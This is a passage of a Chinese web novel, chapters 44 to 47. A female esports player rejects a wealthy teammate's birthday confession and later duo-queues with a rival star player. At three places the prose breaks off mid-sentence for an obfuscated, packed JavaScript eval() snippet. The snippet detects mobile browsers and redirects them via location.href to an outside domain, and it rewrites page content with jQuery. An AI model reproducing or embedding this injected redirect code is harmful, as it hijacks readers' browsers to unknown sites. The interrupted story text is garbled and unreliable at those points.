八月第非常非常热，但是汤瑶的体重和排位分数一样起起伏伏，就是没下过一百三，所以为了遮住过于浑圆的胳膊和压根没有曲线的背，她还是在草莓JSK外面撘了一件雪纺外套。她觉得自己还是挺可爱也很漂亮，就是大部分没办法抛开身材去欣赏她的脸而已。 经历了漫长的车程，终于在天黑的时候来到了酒店前。 一下车，就被扑面而来的热风灌得差点喘不上来气。她提着巨大的橙色袋子快步走进酒店，对着前来迎接的接待人员连连摆手，给寿星打了个微信电话，然后就坐在大堂的沙发上等着。 她刚拿起镜子补了个口红，喘了两口气，人就下来了。 虽然平时也经常一起玩游戏，但见面确实也隔了好几个月。李君诚没什么变化，很简单的短袖休闲裤，头发简单抓了个三七分把刘海拨开了，左耳有一个银色耳钉。他一眼就看到了穿得像个草莓蛋糕一样的汤瑶，蹦蹦跳跳来到她边上，然后就也看到了她边上的LV袋子。 “我草！”LV不稀奇，但他知道她一向贪财又抠门，没想到居然会因为自己过生日这么舍得，一下子就感动得不行，“你来就好了，没必要买礼物嘛。” “那好吧，心意你留下，东西我退了。” “啊啊不行不行，我可以买，我要的，我要你送的东西！” 汤瑶提起袋子往他手上递，但忽然又收回了：“哦……还有个别的。”她有点犹豫，把东西收回来，好一会儿没有继续往下说。 李君诚在她边上坐下了，他身上淡淡的香味。 “什么别的？”他没理解。 “就是……”汤瑶把袋子撑开，把名创优品的袋子拿了出来，“没找到合适的包装，呃，再过个七八个月就能用了。” 李君诚接过来一看，没看明白，拿出来之后才发现一条围巾，他瞪大了眼睛，欣喜的反复看：“我靠，你手这么巧？我草，牛逼 ……我草我草……” “你的词汇量好匮乏。”汤瑶看他很满意，这才松了口气，“我还怕你觉得low。” 李君诚连忙摇人：“怎么可能？我都喜欢！”他看了又看，才把围巾重新叠好放回去，再把袋子也套娃回去，“你提前给我看是怕我在别人面前打开吗？” “有点吧。”汤瑶拍拍手站了起来，“好啦你觉得喜欢就行。走了走了。”她跟着他去电梯，忽然想起一件事，“对了，你怎么一眼看出来围巾是我织的？难道很差劲？这个哈利波特款很火啊，到底怎么看出来的？” “嗯……摸得出来。”李君诚含含糊糊的说。 “摸得出来？你是说材料吗？” “嗯嗯，腈纶的。不过很漂亮很好看，我会戴的。” 电梯里只有两个人，数字不断往上跳动，光洁的金属门将两个人的剪影倒影得清清楚楚。李君诚又高又瘦，胳膊的血管崩出暗青色的纹路，是很健康的好看，而且感觉很有劲儿。自己却矮矮的，圆圆的，臃肿的胸口被幼稚的红白色蛋糕裙裹住了，看起来又俗气又低级。 完全不配，完全是两个世界。 汤瑶并不知道腈纶是什么，没放在心上，只是摆摆手：“无所谓，不过你别说出去……怪肉麻的。” “……好吧。”李君诚有点不情愿，还是答应了，然后就笑眯眯看着她，“好久没有见到你了。” “少来啊，汴京跟义 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汤瑶为难又逃不开，只能就这么硬着头皮跟着进去了。她很后悔今天突发奇想把压箱底的Lolita穿了出来，哪怕穿队服也比这么现眼包的打扮好。好在客人们素质很高，那些落在身上的视线没有多久离开了，也没有因为她的入座展开任何盘问，让她还算能喘口气。 “这个是我表姐，那个是X哥，他是AWA的二股东，然后那个是我一个叔叔，关系也还行吧，只是他这些年都在S市发展。这个是我之前的邻居，也是同学来着，我们是世交来着……这个是……这个是……哦，这个你是不是认得出来？” 李君诚低声跟汤瑶介绍了一圈，汤瑶还没在误入家宴的震惊中缓过神来，顺着他指着的方向看着那个戴着黑框眼镜扎着鸡窝头的美女。刚想说不知道，突然又觉得很熟悉。想了想，然后瞪大了眼睛，声音放得特别轻：“梁、梁圆圆？！那个女明星吗？” 她忽然很嫌弃，“你不会跟孟麒有什么血缘关系吧？” “什么乱七八糟的！你这什么脑回路！”李君诚万万没想到她的思维能如此跳跃，“什么呀，圆圆姐跟孟麒没血缘关系，外面八卦乱传你也信。她跟我嫂子是朋友，也有点商业合作的关系，然后我打职业的事情她也帮了点忙。” “……不是。”汤瑶有点茫然了，“你真是富二代啊？而且还是很高级的那种。” 李君诚露出有点幼稚的骄傲，一挑眉毛，很做作的谦虚道：“还好吧，确实有点小钱。”他把椅子往她边上挪了挪，肩膀几乎要和她贴在一起，“没关系啦，你不用紧张，就我嫂子请客吃个饭，我想着你喜欢吃好吃的就喊你一起来，你不想说话就不说。我主要是想你陪我过零点。” 汤瑶无奈地挺起了身子，拿起摆在面前的精美的餐单册子看：“别再有下次了！！” 45. 第 45 章 作为一个失败母亲的女儿，汤瑶的成长过程完全没有感受过家庭温暖。别说父母，外公外婆也并不怎么欢迎她们，就算逢年过节时一大家子其乐融融的聚在一起，她总是那个可以不声不响看一晚上电视的局外人。 对她来说，比恐怖片还要可怕就是这种家庭聚会了。 汤瑶坐如针毡，梦回初中那个动不动就让自己站到外面去的班主任开班会。直到李君诚发现了她的极度不自然，再三追问之后才又解释了一通，说除了嫂子之外都没有那么熟，请这些人完全因为他们都送了很多大方的礼物，这只是礼尚往来的一部分而已。再说直白点，给自己庆生只是他们笼络感情的一个借口而已。 结果她还是紧张，色香味俱全的例菜一道道端到面前，最多也就吃两口。 李君诚不是没有考虑过，他知道她本来就是大大咧咧的性格，而且事先也说过，她那时也大言不惭的说不要紧，结果不知道为什么就成了这样。他没有犹豫太久，转到另一边跟嫂子低声说了几句话，然后就拍了拍她的肩，示意她跟自己出去。 果然，女孩一脸如蒙大赦，火速起身跟了出去。 “怎么了，有什么事吗？”汤瑶出了门重重喘了一口气，身子夸张地佝偻下去，语气倒也还好，只是随意一说，“妈呀，吓得我都喘不过来气。” 他瘪瘪嘴，高档建筑里特有的高亮顶光打在他的头顶，眼下竟然有一片睫毛的阴影：“对不起。我就是觉得这家店挺好吃，想让你也尝尝。” 她不以为意，还反过来安慰他：“嗐，我就是有点怕长辈。一开始你说，我以为是你其他圈子的朋友呢。不过没事，没人cue我就很满足了！” 李君诚没接话，只是从兜里摸出一个车钥匙冲她摇了摇：“走，带你吃别的去。”没给她犹豫的机会，直接拉住了她的手腕，“别想那么多，我过生日我最大，谁都得听我的。” “……我恨你。”汤瑶酸溜溜的说，“没开玩笑！” 说出去悲惨得都很难让人相信，她是偶然参加同学的生日宴会才知道原来人们每年都会庆祝自己降生的日子。好消息是那个时候她就已经知道妈妈不爱自己了，所以也没有特别伤心。再后来，在网络上交了很多朋友，渐渐的有人注意起她的存在，即便只是简单的祝福，对她来说也很不错了。 “那你愤怒地想想要吃什么，狠狠宰我。” “不知道。”汤瑶兴致缺缺。她真觉得胖子不合适穿这么粉嫩的颜色和完全不考虑大胸版型的裙子，下电梯的时候她只盯着自己的小皮鞋看，“随便吧。” “你怎么了？”李君诚并不懂女孩的心思，但是他知道汤瑶没胃口肯定就是不开心。 “没什么。”她瘪瘪嘴，语气淡淡。 “好吧。”李君诚没有强求，手指勾着钥匙，转得叮当响。在地下车库带着她来到一辆保驰捷……附近的摩托车前停下了，“走！我们到处转转呗。” 他确实是蓄谋已久，因为车上准备了两个头盔。 汤瑶摸了摸自己卷了四十分钟还喷了发胶定型的蓬松卷发，内心很挣扎。 但是吧……这个头盔有猫耳朵诶。 她当然记得这个车，就是很久之前他给自己发过的那辆。在镜头里平平无奇，亲眼见到竟然觉得非常酷。好奇地摸摸车头，用手指头戳了戳坐垫，感受很新奇：“有点理解你为什么喜欢了。”顿了顿，“那个电影我后来也去看了。” “天若有情？怎么样，帅吧！那个同款车我也搞到了，不过不舍得开，纯收藏。但是这个也很帅吧~”李君诚拿起粉色的头盔递给她，一脸期待，“GO？” 汤瑶费劲地爬到后座，对着他的背手足无措，最后各用两根手指头揪着他的衣服：“行不行啊，这个不会出事吧？我很怕死的。” “啊？”李君诚按了一下，推开风镜，露出被压住的短短的刘海稍和一双好看的眼睛，“说啥？大点声。” 汤瑶照葫芦画瓢去摸头盔，结果半天没不知道怎么把镜面弄开，只能提高嗓门：“我说！！我没买保险！！！” 李君诚这回听清了：“没！事！” 话音刚落，他就发动了车子，伴随着嗡嗡的轰鸣，加速冲了出去。汤瑶被毫无征兆的惯性带得往后仰，巨大的求生本能让她立刻往前狠狠抱住了前面的人。她还惊魂未定，手另一只手抠住了，风把声音送了过来：“这才对嘛。” 汤瑶又害怕又生气，习惯性就要掐，结果手指刮过他紧绷的腰，一点多余的赘肉都没有，这下更生气了，用指甲往肉里钻着掐了两下。李君诚这才吃痛哎哟叫了声。她这才恶狠狠又抓住了：“你不要脸你！” 骂完愣了一下，手放开了半秒，迫于危机意识不得再次环住了。她的脸在头盔里急速升温，怎么能吃豆腐的是自己，被占便宜的也是自己，“我恨你，我真的恨你李君诚！” 他听见了，没有说话，只是轻轻抓着她的手，摸了摸。 …… 不对。好像哪里不对。 汤瑶的死脑子总算转过来了——特地约在这种特殊的日子见面，也不是专门为了吃饭，那应该是要说别的什么…更重要的事情吧？ 他、他不会是要表白吧？！ 一旦想到了这个可能性，今天的奇怪安排和展开也就合理了起来。 汤瑶的心开始狂跳，脑袋也有点晕。相处了这么久，想要正式发展也很合理。只是在这个浮躁快餐的时代里，这么老实的走流程实在很少见。就算不是在酒吧里某个洗手间里热吻，也应该是手机里发篇小组文，这…这见面也太、太正式了。 她完全沉浸在自己的胡思乱想里，直到手又被抓了好会儿才回过神。 “到市区了，不好再开了。走吧，前面是苏州河。”李君诚说了又哼笑，“你不热呀？” 汤瑶取下头盔，整张脸都红得像熟透了。她心虚不想看他，只是凭感觉整理头发。他帮忙，在她脑袋上轻轻揉了下：“没有乱。” “哦。”她努力把那个第六感压下去，尽量表现得正常，“嗯……我们这样出来，还用回去吗？” “不用啊。” “哦。” “……你，你来过这边没。”李君诚找的话题也很僵硬。 “没有。”白渡桥上灯火辉煌，行人们来来往往，汤瑶茫然的看着繁华的夜景，“基地太远了，也就吃饭的时候来市区，不过都是在商场里。” “这样。你是不是不喜欢逛街？”他又问，“我以为女孩子更喜欢买东西。” “那得有钱！大哥！”汤瑶翻了个白眼，“要不是英雄联盟给我口饭吃，去名创优品我都得攒俩月，我在老家的时候唯一娱乐就是去黑网吧上网。而且…而且实体店的衣服什么的，也都不合适我。” 她穿得是有防水台的粗跟小皮鞋，但LO圈的质一向稳定。只是心不在焉了半秒，脚下一软，身体就失去了平衡，毫无征兆得往地上摔去。 还好李君诚一直看着她，及时在她扑到前把她扶住了。 “没事吧？脚崴到了吗？” 汤瑶感觉半边腿都麻了，勉强活动了下，似乎没有那么疼，就摇摇头：“好像没有。”看了一下旁边，指了指河边的长椅，“不过坐一会儿吧。” “早知道不来这边了。”李君诚有点懊悔，“我带你去另一边，有商圈还可以穿隧道。你看了电影对吧，怎么样，是不是觉得很酷、很…浪漫？” “还好。”汤瑶撇撇嘴，“我要是那么有钱，我才不要跟什么穷小子私奔。” 李君诚顿了顿，她还以为是自己的回答太扫兴，结果他语出惊人：“太好了。幸亏老子有钱。” 汤瑶再次被他的脑回路震惊，反应过来之后就笑：“你有病啊！！” “我没有啊。”他很真诚，“我这样很巧……很合适。” 她没接话：“我有个问题想问你很久了。” “是啊，我真是万晟的老四。” “……啥？”汤瑶反应过来惊叫了声，“我草，啥？！”她指着过来的那边，“你说得万晟不会是刚刚那个万晟广场的万晟吧？啊？哈？真的假的？那你不比那什么国民老公还有钱，你……嗯？真的吗？什么情况？” “啊，你不是问这个吗。”李君诚挠挠头，“那个扒我的帖子不是很火吗，你没看过？” 汤瑶当然看过，还是看了之后才对万晟有了了解。 总之万晟集团是赫赫有名的东亚华商，上世纪就发迹了，祖籍潮汕，现在好像的总部好像在广东。当家的那位老爷子今年都六十多了，有四个儿子，但就算老三今年也过了而立之年。只有四公子是意外的老年得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326051|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，所以备受宠爱，也一直都很神秘。 好事的贴主洋洋洒洒写了一大堆，通过籍贯，IP，还有李君诚私下里的穿搭和可考究的合照分析了他的社交圈子和家世，并断言他有百分之八十的可能是李家的四公子。 帖子是很火，但不是因为缜密的推理，而是网友都觉得他疯了。因为热评第一给出了二者年纪对不上的铁证。万层高楼里少说八千条回复都是在吐槽嘲讽贴主。 而且这也是他刚拿亚军那年的事儿了，要不是她平时很八卦，还真不一定知道。 “……你这样一说我确实看过，但是我觉得太扯了。”汤瑶思索起来，“我要是没记错的话，早就打假过了。也太扯了，就是很…假啊。我不信——你是不是疯了，你，你给我看看余额！” “你上次没看吗？” “上次？哦。谁会看别人手机的时候看那个啊！！” 李君诚也没废话，从手机里翻出一个银行软件递给了她：“那你看这个吧，这个最多。” 汤瑶看到一串比自己密码还长的数字，倒吸一口凉气：“我草……七十万……啊！不对，少看一位数……啊，啊！！……我天……这是真的吗？这不会是什么破解版软件吧。这是真的？啊？” “你可以给自己转一点试试。” “不、不用了。”汤瑶惊讶的瞪大了眼睛，看他的眼神都变了，“我的妈呀，你是真少爷啊。” 李君诚不置可否：“所以你是要问我什么？” 汤瑶犹豫了一会儿，摇摇头：“算了。没什么。”她脑子里依然是那串比她命还长的数字，“真好。难怪你有那么多喜欢的东西，破解版人生就是不一样。” “所以你什么都不喜欢，是因为钱不够？” “差不多吧。”汤瑶很坦诚，“什么都要钱啊，没钱的日子就是很无趣。” “那总有梦想吧，梦想又不要钱，总会有时候在脑子冒出一个想法，希望有一天变成真的吧。”李君诚笑眯眯的，循循善诱的语气像个满载而来的圣诞老人。 汤瑶有理由相信，她现在不论指什么都能立刻拥有。 好简单粗暴的富二代，如此如真诚，如此难以让人拒绝。 这个问题好熟悉啊…… 汤瑶忽然愣住。 她再次回想起那一天。和孟麒第一次见到的那一天。她像个地沟里的老鼠一样对着她大发脾气的那次对话。她气鼓鼓的说自己没有梦想，她怨气冲天的指责她傲慢、冷漠、高高在上，对别人梦想中的光环不屑一顾。她阴暗又小气，妒忌她，羡慕她，想要得到青睐，想要得到比那些人爱她更多的爱。 不管是黑崎一泽还是谢回，怎么都不可能比得上李君诚吧。 长得好看，又有钱，游戏打得也不错，还很大方，除了有点少爷脾气，比赛的时候发挥不稳定，基本没什么大缺点了。就算抛开那一长串的余额，光是人品这作风也比那两个有数不清黑历史的帅哥们好多了。 她感受得到他的真心，也从能他注视着自己的眼神里感觉到那种令人脸红心跳的情愫。 但是。 但是—— “是啊，我有很多梦想。不过都跟你没关系。”汤瑶顿了顿，毫无征兆的说，“所以你还是死心吧。”她一字一顿的说，“我也是刚刚发现的，我好像没有我想象中的那么喜欢你。” 李君诚的笑容僵住了：“……为什么？”他认真反思，“我不是物化你啊，就，我只是觉得这样很好啊。你喜欢的正好我也有，很合适啊……哎呀，我也没有非要想和你交往，你不答应也没关系的，朋友也是可以的嘛。只是你不要误会，我真没有用钱侮辱人的意思，对不起。” “不是，我说…你能不能少看点小说，少给我带入那种白痴女主人设。谁会觉得钱侮辱人啊？！”汤瑶知道有点残忍，但话都说到这份上了，“字面意思，我没有那么喜欢你。当然，反过来说就是我确实对你有点感觉。只是……这种感觉没有到想要跟你谈恋爱的地步。我也没有觉得我很高贵什么的，就……感觉，你懂吧，感觉。我也说不清楚。” “我不懂！”李君诚真的心碎了，“什么感觉，哪种感觉，我能改变吗？” 汤瑶抬起头，看着没有星星的夜晚：“我不喜欢烟花。我不喜欢绚烂之后一场空的感觉。” 46. 第 46 章 总之李君诚那天很伤心，苏州河边的路灯把他的眼睛照得波光粼粼，汤瑶真怕他哭，说了一大堆好话，最后答应他会把这天的事当做没发生，以后还是朋友，还是会一起玩，才算是勉强哄好了。至于后来有没有偷偷掉小珍珠，她不知道，也不敢问。 回想的时候，汤瑶自己都觉得很不可思议。元宝也说她可能错过了一个暴富的机会。当然，调侃之余她也告诉她，有个叫马克思的人说过：如果有百分之五十的利润，资本就会铤而走险；如果有百分之百的利润，资本就敢践踏一切人间律法；如果有百分之三百的利润，资本就能犯下任何罪行，甚至不惧怕绞首的风险。 拒绝，往往意味着吸引力不够。 汤瑶表示怀疑。 怎么可能呢！也许只因为她其实是个不拜金不虚荣也不好色的正直小女孩吧！ 那天她甚至鬼使神差的给孟麒发了条消息，问她的有没有梦想。结果过了好久，对方回复说“也许是开32场演唱会？”。她顿时对方是个傻B，当然，莫名其妙提问的自己也是。 李君诚是脑回路完全异于常人，告白失败之后没几天，她就在游戏里收到了偶尔提过一嘴的绝版天价外观。她跟他说，自己并不是GALGAME里的角色，只要无脑氪金就能加好感。结果他的语气幽怨，甚至有点哽咽的说“明明你说不会变的，之前送你东西你从来都不问。”……好吧，她只能闭嘴，沉默地接受金钱腐蚀。 她没什么心理负担，反正话也说清楚了，他要再一厢情愿也不能怪自己了。 玩还是会一起玩，甚至因为之前的小插曲，谢回也会本着八卦的心思来凑热闹。 谢回是除了英雄联盟基本不玩别的游戏，不管是FPS还是MMORPG都菜得令人发指，每次来了就是挨骂，从头到尾都挨骂。玩了几次他就因为受不了网络霸凌不来了，偶尔徐知睿在的时候他就会出现在麦里指指点点，当个无法选中的键盘侠。 【ZBai】：[可怜][可怜] 【ZBai】：想我了吗 汤瑶跟大家嘻嘻哈哈打完了新副本，刚要去韩服征战两把的时候突然收到这样没头没脑的消息。她这才突然想起来，真白有好一阵子没出现过了。没人提过，也没人想起来他。 【姜汁汽水】：？ 【ZBai】：前段时间有事，没找你，你生气吗？ 【姜汁汽水】：？？？？ 她截了个图，转发给元宝，附注：他疯了啊？ 【ZBai】：你在干什么呢 【姜汁汽水】：打会排位 【ZBai】：[可爱][可爱]我来我来，我带你~ 【ZBai】：有点想听你说话了，给我发个语音呗 【姜汁汽水】：你脑子给门夹了吗？ 【ZBai】：[小猫哭哭] 【ZBai】：真的想你。 【姜汁汽水】：你脑残吧 【姜汁汽水】：我排进去了，886 选人的功夫，元宝也回复了，她同样对此非常惊讶。 【元宝】：我还以为是咱们四公子发力给他按住了 【元宝】：合着前几天是进骚扰的CD期了吗 【元宝】：要不你跟Foppish说吧，对付这种不要脸的你说什么都没用。 【姜汁汽水】：不要。 【姜汁汽水】：让他干这种事很容易给他错觉，钱就还好，不想浪费别人感情 【元宝】：[偷笑]说不定人家会乐在其中呢。 选了半天，又被秒了。就这样反复了三四遍，她有点害怕了，打算退出队列等会儿。 就只是几分钟的功夫，真白又发来了一大堆消息。基本上就是一些黏黏糊糊的话，疑似发情，总让她发语音过去。她忍无可忍，起身回了房间，直接打个语音过去，决定狠狠骂他一顿。 那边响了好一会儿才接，她零帧起手，不等说话就是一顿怒骂：“你吃饱了撑得没事干啊？实在闲得无聊把TT下回去不行吗？” 那边没有说话。 “喂？聋了？哑巴了？”汤瑶看了下信号，确定WIFI是满格，“明明一开始怕出事的是你，然后老烦我的也是你。拿我当消遣也要有个限度吧。再找我陪聊一分钟五十，听见了没？听见了没？！” 依然没有回应，一阵杂音之后语音就被挂断了。 “有毛病。”汤瑶等了一会儿，真白还是没有动静，这才洗了个手又回去。 结果隔了这么久，还是被连着秒了两把。汤瑶把原因归咎到真白身上，吐槽男人就是晦气，一边排队一边刷起了朋友圈。 划了一下，发现了一条有意思的朋友圈。 7：来个辅助打单双，一区，价格好说。 [MIFA]：我5元战神，来 [7]：滚 [MIFA]：QAQ我锤石很猛啊你忘了吗 看了下时间，也就是条十来分钟前发的，她想了想，跟着也抖了句机灵：老板选我，辅助全能，188/h，可试音，情绪价值到位，下雨了会自己回家。 很快，她收到了MIFA回复的问号：干嘛，怎么还有抢生意的。 她刚打出哈哈哈，还没来得及回复出去，叮的一声弹出来新的转账消息。 【7】发起转账‘600’。 …… 聊天记录还是好几天前她说想开32场演唱会。 【姜汁汽水】：。。。 【姜汁汽水】：我开玩笑的 【7】：你没时间吗 汤瑶挠了挠头，啃着指甲，犹犹豫豫的打字：是什么段位的单子啊？ 【7】：。。 【7】：白银 【姜汁汽水】：？？？ 【7】：[语音]我朋友收了个有胜利风女的号，是个超级极品的纯血白银，打一把加十来分，输一把扣二十多，我还打两把就要补位，有点太痛苦了。 【7】：[语音]我就给上个大师，打不了几天，很快的 【姜汁汽水】：你那个朋友是OO姐吗 【7】：嗯嗯 汤瑶挠挠头，心里有点纠结。挺奇怪的，放在几个月前，她绝不会想要跟她有什么交集， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326052|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏是李君诚告白之后她总是会想起她，她很想问问她当时那些话是什么意思，可是碍于面子又说不出口，别扭之下，反而生出一种奇怪的想要靠近的冲动。 【姜汁汽水】：好吧 【姜汁汽水】：不过我没有段位这么低的号 [已退还 600] 【姜汁汽水】：收费是开玩笑的 【7】：难道你想我请你吃饭？ 【姜汁汽水】：打完再结就行 答应是答应了，后悔也是后悔的，早知道就不瞎刷存在感了，手贱评那一句干嘛！ 孟麒很快借了个号给她，因为要异地验证，所以又发了个频道号让她来语音。几分钟的时间，她已经擦了两遍手心的汗了。好紧张……打比赛都没这么紧张过。 还好频道里有两个人，孟麒全平台同名，就是7。 另一个她也认识，而且非常熟悉——MIFA。 “喂，号主让你用短信验证，你截图发过来。”谢回先说话了。 原来如此。 汤瑶给他发了微信，很快弄好了验证，就在频道里说了：“登上了，我改下键。” 谢回又说了：“你看下号主是D闪还是F闪，在设置里改，这样打出来更好看。” 7前面的绿灯亮了亮，带着一阵细微的电流：“你他妈是不是接单子了谢回？！你又两头吃，你要死啊？” “没有！！”谢回大喊冤枉，“白银号的单有什么好接啊！！”他哼了声，“号主也是女孩子嘛，为她考虑一下。” “拉你了。”孟麒不理他了，“改好了我就开了。” 汤瑶还是很听话的在设置里改了键，又快速的点了两套备用符文：“嗯嗯，来了。” 低分段双排，又有辅助补位，直接秒进。 “你随便就行了。”孟麒说，“猫也行，都行，看你喜欢。” “这么快进了。”谢回阴魂不散，“开个直播给我看嘛宝宝。” 汤瑶又突然感觉这个单子接得很值了，这种超劲爆八卦可不是随时都能听见的。要知道平时在李君诚那边玩，谢回可从来不是这个声线！！ “你给我先拿塞拉斯。”孟麒完全无视了叽叽喳喳的某人，“你能打到几点？我估计这号补分起码要连胜一二十把了。” “我…我这两天都行，就明天下午有训练赛。” “你们九月份放假吗？”谢回又问。 汤瑶愣了一下，想了想说不确定。 “呃，不是问你。”谢回有点尴尬，但是又笑了，“嘿嘿，对了，我让李君诚也来频道。” “啊啊啊啊不要啊啊啊啊啊！！”汤瑶尖叫起来，“你干什么啊！！你…你不要随便打扰别人啊！” 孟麒叹了口气：“谢回你把嘴闭上，安静点我就给你开直播。” 他立刻乖起来：“OK，不叫了。” 汤瑶又生气又无语，张了张嘴闭上，游戏里想打字又删了，最后在手机里给孟麒发了一串句号。 【姜汁汽水】：你好辛苦。 【7】：。。。。 【7】：习惯了 47. 第 47 章 世界不是非黑即白，但是竞技游戏只分输赢强弱。 汤瑶的游戏时间不算长，但在开黑体验这方面绝对算得上见多识广。耐不住寂寞的性子外加一点点狗屎运，让她体验过从低到假肢、菜狗，高到手打王者乃至世界冠军等等各种不同档位的各种玩家。糟糕是常态，一两个正常人都非常难得，在她数不清的搭子里，能回忆起来并且及格的完全不存在。 高分女选手也是有玩过的，不过C位癌并不分性别，输出位的女孩们绝大多数都有也许并不自知的傲慢，好一点的只是喜欢装B，坏起来跟爹味男高玩毫无区别，而且都一样喜欢打五妹车，喜欢亲亲热热的管女孩子们叫老婆宝宝，有自己的小团体和迷妹，而且凤毛麟角的顶分女玩家往往会标配一个更强更有实力的男人——没错，也像孟麒那样。 辅助位的话就更复杂了，因为玩得最多所以厉害的也很多，因为头部辅助不是选手就是GAY子主播，所以更等级森严且奇葩频出，烂梗满天飞，对线的时候亮个表情就能在厕所投稿里撕两百楼，硬辅软辅能能吵三天三夜，更别提双人路这种特殊组合，辅助们的话题永远离不开今天在哪又训了一条又乖又厉害的AD狗狗。 总之，玩了这个游戏这么久，只有元宝是她大浪淘沙出来的好朋友。 孟麒同样有着所有输出位通用的优缺点和口癖，吸血，爱秀，喜欢在麦里骂蠢蛋队友，打字速度非常快。 但……跟她双排绝对是汤瑶丰富双排史里最好的，最独一档的体验。 虽然分段很低，操作和思路表现不出来，但就算是炸鱼也分三六九等。她对线游刃有余，所以非常喜欢来下，而且只要自己给技能，她就会硬杀，主打一个绝不浪费。中期带她去对面拿蓝BUFF，自己起过装备之后按S让头给她玩，就连排眼都会留最后一下给她。有嘴会要技能，来不及还会主动道歉，打团前上个BUFF，很快就能收到蹭蹭蹭的助攻。 这些事情都不稀奇，甚至是约定俗成的体贴模版，但因为她是女生，你知道她□□没有可以控制她思想的邪恶东西，所以知道那些夸奖就格外纯粹真诚。而且她也不是黏黏糊糊的管同性叫什么老婆宝宝的那种网络女神，她只是平淡的把称呼英雄名字+好+技能效果组合并说出来，恰到好处的生疏和客气，一声一声，一次一次，把屏幕前的汤瑶喊得头晕目眩。 * 【姜汁汽水】：[游戏中的战绩截图]：0/2/21的猫咪正挂在18/3/0的永恩身上。 【姜汁汽水】：疯了 【姜汁汽水】：啊啊啊啊啊啊啊啊啊啊啊啊啊 【元宝】：唷 【元宝】：你俩竟然难得甜蜜双排上了 【元宝】：能让把LOL当工作的人为了陪你打娱乐，可以说很爱了 【姜汁汽水】：[微笑]不是他 【姜汁汽水】：我感觉我要打脸了 【元宝】：？？ 【元宝】：？？？？不会是？？？？真白？？？？？ 【姜汁汽水】：比真白还要恐怖一点 【元宝】：想象不出来 【姜汁汽水】：[语音]卧槽，我真要死了啊啊啊……她把把带着我乱飞啊，草，上把她补了个打野，玩螳螂二级就住在下路，然后对面破防骂我是上分婊，然后她一边飞进去杀一边跟对面对喷，好爽啊……笑死我了。 【元宝】：你真疯了 【元宝】：所以是谁？你又有新欢了吗？ 【姜汁汽水】：[微笑][微笑]这就是恐怖的地方了 【姜汁汽水】：这是孟麒 【元宝】：。。。OMG 【元宝】：果然很恐怖 【姜汁汽水】：唉 【姜汁汽水】：唉！ 【姜汁汽水】：朕就这样原谅了她，会不会太骄纵她了 【元宝】：骄不骄纵不知道，你现在看起来是个被诡计多端直女钓成翘嘴的深柜 【姜汁汽水】：说啥呢，我可是钢铁顺直！ 【元宝】：难怪XX跟XX（某分手多年的前美帝CP，作者实在懒得瞎编ID了）都能破冰，竞竞世界真是无奇不有。 【元宝】：所以你这是黑到深处自然粉了吗。 【姜汁汽水】：唉，别乱说，我可没说我对她改观！而且我跟她玩了就知道我想得一点儿都没错，她就是我想得那样的人！ 【元宝】：[截下她癫狂的语音转文字]这是？ 【姜汁汽水】：[语音]哎呀，这就是很多女生用‘恋爱脑’来骂一些男生一样。这个词儿用在男人身上从来就不是贬义，这样恨铁不成钢的说他们的恋爱脑，也是怪因为这份心思没用在自己身上。我也是这个道理！她就是特别特别装啊，但是，她带我一起装，唉，那就不一样了。唉，真的爽，好爽。 【姜汁汽水】：[游戏截图]永恩五杀，四个助攻都只有猫。 【元宝】：你这个极致慕强脑的势利眼！ 【元宝】：支持套近乎，最好能发展到开黑一起玩，我也想体会一下这种感觉quq 【姜汁汽水】：那不行，我有底线的。 【姜汁汽水】：[微笑]我一直按键麦，都不怎么跟她说话，很高冷的。 【元宝】：[鄙视]装货 【姜汁汽水】：嘻嘻。 * 汤瑶讨厌下雨天，闷热、黏腻、浸湿的鞋袜、黏着砂砾的小腿，就连雨滴落到伞面发出来的那种与世隔绝的闷响都令人无端端的烦躁。但是下雨天的空气有种特别的味道，湿润的土壤混着草根的腥气通过水汽被传递出来，那是泥土被雨水砸醒的味道，那是一种清冽的、新鲜的、有点像青柠的好闻味道。 然而和孟麒的双排就像是这样的一场场雨天，她总在喜欢和讨厌之间反复横跳。 只是没能等到她决定是否要重新评价这个‘讨厌’的人，孟麒的账号就因为炸鱼加异地登录被制裁了，双排也就戛然而止。在尝试了申诉和改密种种以失败告终之后，她听着那声带着细微电流麦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326053|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹气，竟也有了点儿说不清道不明的失落。 不过也好，她其实真的很难接受，也无法想象自己和孟麒成为朋友的这种可能性存在。 她才不要！她才不要当女主角的狗腿子！才不要当别人书里的配角！才不要在形容词之前被加上‘也’！ 汤瑶好不容易说服自己，将各种无端的妄想从脑子里抽离。结果短暂的双排结束后没两天，孟麒再次找上了她。问她有没有空，这次是打组排。 